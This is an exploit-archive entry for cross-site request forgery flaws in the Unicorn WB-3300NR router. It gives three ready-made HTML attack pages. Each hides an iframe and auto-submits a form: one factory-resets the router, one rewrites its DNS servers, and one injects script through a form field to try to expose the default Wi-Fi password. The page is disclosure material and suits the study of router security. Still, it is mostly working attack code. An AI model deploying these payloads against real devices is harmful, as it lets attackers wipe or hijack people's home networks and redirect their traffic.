Unicorn Router WB-3300NR CSRF (Factory Reset/DNS Change)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Unicorn Router WB-3300NR CSRF Vulnerabilities with Factory Reset and DNS Chang


                                                # Exploit Title:     Unicorn Router WB-3300NR CSRF (Factory Reset/DNS Change)
# Exploit Author:    absane
# Blog:              http://blog.noobroot.com
# Discovery date:    October 29th 2013   
# Vendor Homepage:   http://www.eunicorn.co.kr/kimsboard7/_product.php?inc=wb-3300nr    
# Tested on:         Unicorn WB-3300NR v1.0
# Firmware Version:  V5.07.18_ko_UIS02       

***************
*Vulnerability*
***************
The WB-3300NR Unicorn Router suffers from numerous CSRF vulnerabilities.
Considering that by default the administrative pages do not require authentication, countless exploits exist.

******************
*Proof of Concept*
******************

1) Factory Reset

&#60;html&#62;&#60;body&#62;
&#60;iframe height=0 width=0 id=&#34;cantseeme&#34; name=&#34;cantseeme&#34;&#62;&#60;/iframe&#62;
&#60;form name=&#34;csrf_form&#34; action=&#34;http://192.168.123.254/goform/SysToolRestoreSet&#34; method=&#34;post&#34; target=&#34;cantseeme&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;CMD&#34; value=&#39;SYS_CONF&#39;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;GO&#34; value=&#39;system_reboot.asp&#39;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;CCMD&#34; value=&#39;0&#39;&#62;
&#60;script&#62;document.csrf_form.submit();&#60;/script&#62;
&#60;/body&#62;&#60;/html&#62;


2) Alter the DNS Settings

&#60;html&#62;&#60;body&#62;
&#60;iframe height=0 width=0 id=&#34;cantseeme&#34; name=&#34;cantseeme&#34;&#62;&#60;/iframe&#62;
&#60;form name=&#34;csrf_form&#34; action=&#34;http://192.168.123.254/goform/AdvSetDns&#34; method=&#34;post&#34; target=&#34;cantseeme&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;GO&#34; value=&#39;wan_dns.asp&#39;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;rebootTag&#34; value=&#39;&#39;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;DSEN&#34; value=&#39;1&#39;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;DNSEN&#34; value=&#39;on&#39;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;DS1&#34; value=&#39;8.8.4.4&#39;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;DS2&#34; value=&#39;8.8.8.8&#39;&#62;
&#60;script&#62;document.csrf_form.submit();&#60;/script&#62;
&#60;/body&#62;&#60;/html&#62;


3) WPA Password Disclosure (possibility)(not proven)

The following PoC code only demostrates that with CSRF and XSS, it might be possible to obtain the WPA password.
However, I have been unable to do so without forcing the router to revert to factory defaults.

&#60;html&#62;&#60;body&#62;
&#60;iframe height=0 width=0 id=&#34;cantseeme&#34; name=&#34;cantseeme&#34;&#62;&#60;/iframe&#62;
&#60;form name=&#34;csrf_form&#34; action=&#34;http://192.168.123.254/goform/WizardHandle&#34; method=&#34;post&#34; target=&#34;cantseeme&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;MACC&#34; value=&#39;&#34;; var x = &#34;&#34;; function y() {alert(def_wirelesspassword);} x = window.setTimeout(y,2000);//&#39;&#62;
&#60;script&#62;document.csrf_form.submit();&#60;/script&#62;
&#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1